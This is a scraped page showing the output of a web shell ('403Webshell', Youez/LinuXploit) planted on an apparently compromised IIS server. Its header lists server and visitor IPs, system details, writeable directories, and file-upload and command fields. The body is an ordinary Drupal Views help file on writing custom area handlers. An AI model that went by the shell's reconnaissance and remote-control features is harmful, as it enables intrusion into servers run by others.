403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/business/sites/all/modules/views/help/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/business/sites/all/modules/views/help/api-handler-area.html
In Views areas (header, footer, empty-text) are pluggable, this means you can write your own php logic to place whatever you want.

<h3>Requirements</h3>
You should have read <a href="topic:views/api">API</a> and <a href="topic:views/api-tables">Tables API</a> to get a basic knowledge
how to extend views.

<h3>Create your own area handler</h3>

The first step is to tell views: Hey i want to add a new area handler.
Therefore you have to implement hook_views_data and add a new one. For example:

<pre>
function yourmodule_views_data() {
  $data['views']['collapsible_area'] = array(
    'title' =&gt; t('Collabsible Text area'),
    'help' =&gt; t('Provide collabsible markup text for the area.'),
    'area' =&gt; array(
      'handler' =&gt; 'yourmodule_handler_collapsible_area_text',
    ),
  );
  return $data;
}
</pre>

The second step is to write this handler. Therefore create a file called yourmodule_handler_collapsible_area_text.inc and
add it to the .info file of your module.

Then add content to your area file like this:
<pre>
class yourmodule_handler_collapsible_area_text extends views_handler_area_text {
  function render($empty = FALSE) {
    // Here you just return a string of your content you want.
    if ($render = parent::render($empty)) {
      $element = array(
        '#type' =&gt; 'fieldset',
        '#title' =&gt; t('Title'),
        '#value' =&gt; $render,
      );
      $output = theme('fieldset', $element);
      return $output;
    }
  }
}
</pre>

As on every handler you can add options so you can configure the behavior. If the area isn't shown yet in the views interface, please clear the cache :)

Youez - 2016 - github.com/yon3zu
LinuXploit